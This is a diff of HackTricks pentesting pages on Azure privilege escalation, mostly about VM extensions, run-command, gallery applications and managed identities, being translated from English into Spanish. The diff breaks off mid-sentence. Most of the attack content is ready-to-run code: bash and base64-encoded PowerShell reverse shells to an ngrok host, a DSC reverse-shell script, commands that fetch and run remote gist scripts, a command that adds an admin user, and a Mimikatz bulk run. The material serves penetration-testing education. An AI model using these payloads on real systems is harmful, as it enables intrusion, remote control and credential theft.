Other interesting looking permissions (TODO) - -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Cambia la propiedad del blob +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifica los permisos del blob +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Devuelve el resultado del comando del blob - Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action -## References +## Referencias - [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage) - [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 6d8ba6e74..3890bd60c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -1,10 +1,10 @@ -# Az - Virtual Machines & Network Privesc +# Az - Máquinas Virtuales y Privesc de Red {{#include ../../../banners/hacktricks-training.md}} -## VMS & Network +## VMS y Red -For more info about Azure Virtual Machines and Network check: +Para más información sobre Azure Virtual Machines y Network consulta: {{#ref}} ../az-services/vms/ @@ -12,14 +12,13 @@ For more info about Azure Virtual Machines and Network check: ### **`Microsoft.Compute/virtualMachines/extensions/write`** -This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\ -Example abusing custom extensions to execute arbitrary commands in a VM: +Este permiso permite ejecutar extensiones en máquinas virtuales que permiten **ejecutar código arbitrario en ellas**.\ +Ejemplo de abuso de extensiones personalizadas para ejecutar comandos arbitrarios en una VM: {{#tabs }} {{#tab name="Linux" }} -- Execute a revers shell - +- Ejecutar un shell reverso ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -27,120 +26,108 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== # Execute rev shell az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScript \ - --publisher Microsoft.Azure.Extensions \ - --version 2.1 \ - --settings '{}' \ - --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' +--resource-group \ +--vm-name \ +--name CustomScript \ +--publisher Microsoft.Azure.Extensions \ +--version 2.1 \ +--settings '{}' \ +--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' ``` - -- Execute a script located on the internet - +- Ejecutar un script ubicado en internet ```bash az vm extension set \ - --resource-group rsc-group> \ - --vm-name \ - --name CustomScript \ - --publisher Microsoft.Azure.Extensions \ - --version 2.1 \ - --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \ - --protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}' +--resource-group rsc-group> \ +--vm-name \ +--name CustomScript \ +--publisher Microsoft.Azure.Extensions \ +--version 2.1 \ +--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \ +--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}' ``` - {{#endtab }} {{#tab name="Windows" }} -- Execute a reverse shell - +- Ejecutar un shell reverso ```bash # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 # Execute it az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScriptExtension \ - --publisher Microsoft.Compute \ - --version 1.10 \ - --settings '{}' \ - --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' +--resource-group \ +--vm-name \ +--name CustomScriptExtension \ +--publisher Microsoft.Compute \ +--version 1.10 \ +--settings '{}' \ +--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` - -- Execute reverse shell from file - +- Ejecutar shell inverso desde archivo ```bash az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScriptExtension \ - --publisher Microsoft.Compute \ - --version 1.10 \ - --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ - --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' +--resource-group \ +--vm-name \ +--name CustomScriptExtension \ +--publisher Microsoft.Compute \ +--version 1.10 \ +--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ +--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` +También podrías ejecutar otras cargas útiles como: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` -You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - -- Reset password using the VMAccess extension - +- Restablecer la contraseña usando la extensión VMAccess ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred ``` - {{#endtab }} {{#endtabs }} -It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs: +También es posible abusar de extensiones bien conocidas para ejecutar código o realizar acciones privilegiadas dentro de las VMs:
-VMAccess extension - -This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs. +Extensión VMAccess +Esta extensión permite modificar la contraseña (o crearla si no existe) de usuarios dentro de VMs de Windows. ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred ``` -
DesiredConfigurationState (DSC) -This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension: - +Esta es una **extensión de VM** que pertenece a Microsoft y que utiliza PowerShell DSC para gestionar la configuración de las VMs de Windows en Azure. Por lo tanto, se puede utilizar para **ejecutar comandos arbitrarios** en las VMs de Windows a través de esta extensión: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { - Node localhost { - Script ReverseShell { - GetScript = { @{} } - SetScript = { - $client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port); - $stream = $client.GetStream(); - [byte[]]$bytes = 0..65535|%{0}; - while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ - $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); - $sendback = (iex $data 2>&1 | Out-String ); - $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; - $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); - $stream.Write($sendbyte, 0, $sendbyte.Length) - } - $client.Close() - } - TestScript = { return $false } - } - } +Node localhost { +Script ReverseShell { +GetScript = { @{} } +SetScript = { +$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port); +$stream = $client.GetStream(); +[byte[]]$bytes = 0..65535|%{0}; +while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ +$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); +$sendback = (iex $data 2>&1 | Out-String ); +$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; +$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); +$stream.Write($sendbyte, 0, $sendbyte.Length) +} +$client.Close() +} +TestScript = { return $false } +} +} } RevShellConfig -OutputPath .\Output @@ -148,95 +135,91 @@ RevShellConfig -OutputPath .\Output $resourceGroup = 'dscVmDemo' $storageName = 'demostorage' Publish-AzVMDscConfiguration ` - -ConfigurationPath .\revShell.ps1 ` - -ResourceGroupName $resourceGroup ` - -StorageAccountName $storageName ` - -Force +-ConfigurationPath .\revShell.ps1 ` +-ResourceGroupName $resourceGroup ` +-StorageAccountName $storageName ` +-Force # Apply DSC to VM and execute rev shell $vmName = 'myVM' Set-AzVMDscExtension ` - -Version '2.76' ` - -ResourceGroupName $resourceGroup ` - -VMName $vmName ` - -ArchiveStorageAccountName $storageName ` - -ArchiveBlobName 'revShell.ps1.zip' ` - -AutoUpdate ` - -ConfigurationName 'RevShellConfig' +-Version '2.76' ` +-ResourceGroupName $resourceGroup ` +-VMName $vmName ` +-ArchiveStorageAccountName $storageName ` +-ArchiveBlobName 'revShell.ps1.zip' ` +-AutoUpdate ` +-ConfigurationName 'RevShellConfig' ``` -
-Hybrid Runbook Worker +Trabajador de Runbook Híbrido -This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/). +Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [servicio de Cuentas de Automatización](../az-services/az-automation-account/).
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)` -These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands. +Estos son los permisos requeridos para **crear una nueva aplicación de galería y ejecutarla dentro de una VM**. Las aplicaciones de galería pueden ejecutar cualquier cosa, por lo que un atacante podría abusar de esto para comprometer instancias de VM ejecutando comandos arbitrarios. -The last 2 permissions might be avoided by sharing the application with the tenant. +Los últimos 2 permisos podrían evitarse compartiendo la aplicación con el inquilino. -Exploitation example to execute arbitrary commands: +Ejemplo de explotación para ejecutar comandos arbitrarios: {{#tabs }} {{#tab name="Linux" }} - ```bash # Create gallery (if the isn't any) az sig create --resource-group myResourceGroup \ - --gallery-name myGallery --location "West US 2" +--gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ - --application-name myReverseShellApp \ - --gallery-name myGallery \ - --resource-group \ - --os-type Linux \ - --location "West US 2" +--application-name myReverseShellApp \ +--gallery-name myGallery \ +--resource-group \ +--os-type Linux \ +--location "West US 2" # Create app version with the rev shell ## In Package file link just add any link to a blobl storage file az sig gallery-application version create \ - --version-name 1.0.2 \ - --application-name myReverseShellApp \ - --gallery-name myGallery \ - --location "West US 2" \ - --resource-group \ - --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ - --install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ - --remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ - --update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" +--version-name 1.0.2 \ +--application-name myReverseShellApp \ +--gallery-name myGallery \ +--location "West US 2" \ +--resource-group \ +--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ +--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ +--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ +--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ - --resource-group \ - --name \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ - --treat-deployment-as-failure true +--resource-group \ +--name \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ +--treat-deployment-as-failure true ``` - {{#endtab }} {{#tab name="Windows" }} - ```bash # Create gallery (if the isn't any) az sig create --resource-group \ - --gallery-name myGallery --location "West US 2" +--gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ - --application-name myReverseShellAppWin \ - --gallery-name myGallery \ - --resource-group \ - --os-type Windows \ - --location "West US 2" +--application-name myReverseShellAppWin \ +--gallery-name myGallery \ +--resource-group \ +--os-type Windows \ +--location "West US 2" # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 @@ -245,59 +228,55 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1 ## In Package file link just add any link to a blobl storage file export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" az sig gallery-application version create \ - --version-name 1.0.0 \ - --application-name myReverseShellAppWin \ - --gallery-name myGallery \ - --location "West US 2" \ - --resource-group \ - --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ - --install-command "powershell.exe -EncodedCommand $encodedCommand" \ - --remove-command "powershell.exe -EncodedCommand $encodedCommand" \ - --update-command "powershell.exe -EncodedCommand $encodedCommand" +--version-name 1.0.0 \ +--application-name myReverseShellAppWin \ +--gallery-name myGallery \ +--location "West US 2" \ +--resource-group \ +--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ +--install-command "powershell.exe -EncodedCommand $encodedCommand" \ +--remove-command "powershell.exe -EncodedCommand $encodedCommand" \ +--update-command "powershell.exe -EncodedCommand $encodedCommand" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ - --resource-group \ - --name deleteme-win4 \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \ - --treat-deployment-as-failure true +--resource-group \ +--name deleteme-win4 \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \ +--treat-deployment-as-failure true ``` - {{#endtab }} {{#endtabs }} ### `Microsoft.Compute/virtualMachines/runCommand/action` -This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:** +Este es el mecanismo más básico que Azure proporciona para **ejecutar comandos arbitrarios en VMs:** {{#tabs }} {{#tab name="Linux" }} - ```bash # Execute rev shell az vm run-command invoke \ - --resource-group \ - --name \ - --command-id RunShellScript \ - --scripts @revshell.sh +--resource-group \ +--name \ +--command-id RunShellScript \ +--scripts @revshell.sh # revshell.sh file content echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh ``` - {{#endtab }} {{#tab name="Windows" }} - ```bash # The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action # Execute a rev shell az vm run-command invoke \ - --resource-group Research \ - --name juastavm \ - --command-id RunPowerShellScript \ - --scripts @revshell.ps1 +--resource-group Research \ +--name juastavm \ +--command-id RunPowerShellScript \ +--scripts @revshell.ps1 ## Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 @@ -314,62 +293,57 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1 Import-module MicroBurst.psm1 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ``` - {{#endtab }} {{#endtabs }} ### `Microsoft.Compute/virtualMachines/login/action` -This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM). +Este permiso permite a un usuario **iniciar sesión como usuario en una VM a través de SSH o RDP** (siempre que la autenticación de Entra ID esté habilitada en la VM). -Login via **SSH** with **`az ssh vm --name --resource-group `** and via **RDP** with your **regular Azure credentials**. +Inicie sesión a través de **SSH** con **`az ssh vm --name --resource-group `** y a través de **RDP** con sus **credenciales regulares de Azure**. ### `Microsoft.Compute/virtualMachines/loginAsAdmin/action` -This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM). +Este permiso permite a un usuario **iniciar sesión como usuario en una VM a través de SSH o RDP** (siempre que la autenticación de Entra ID esté habilitada en la VM). -Login via **SSH** with **`az ssh vm --name --resource-group `** and via **RDP** with your **regular Azure credentials**. +Inicie sesión a través de **SSH** con **`az ssh vm --name --resource-group `** y a través de **RDP** con sus **credenciales regulares de Azure**. ## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it. - -Depending on the situation more or less permissions might be needed to abuse this technique. +Todos esos son los permisos necesarios para **crear una VM con una identidad administrada específica** y dejar un **puerto abierto** (22 en este caso). Esto permite a un usuario crear una VM y conectarse a ella y **robar tokens de identidad administrada** para escalar privilegios a ella. +Dependiendo de la situación, se pueden necesitar más o menos permisos para abusar de esta técnica. ```bash az vm create \ - --resource-group Resource_Group_1 \ - --name cli_vm \ - --image Ubuntu2204 \ - --admin-username azureuser \ - --generate-ssh-keys \ - --assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \ - --nsg-rule ssh \ - --location "centralus" +--resource-group Resource_Group_1 \ +--name cli_vm \ +--image Ubuntu2204 \ +--admin-username azureuser \ +--generate-ssh-keys \ +--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \ +--nsg-rule ssh \ +--location "centralus" # By default pub key from ~/.ssh is used (if none, it's generated there) ``` - ### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\ -Then, from the metadata service it's possible to generate tokens for each one. - +Esos permisos son suficientes para **asignar nuevas identidades administradas a una VM**. Tenga en cuenta que una VM puede tener varias identidades administradas. Puede tener la **asignada por el 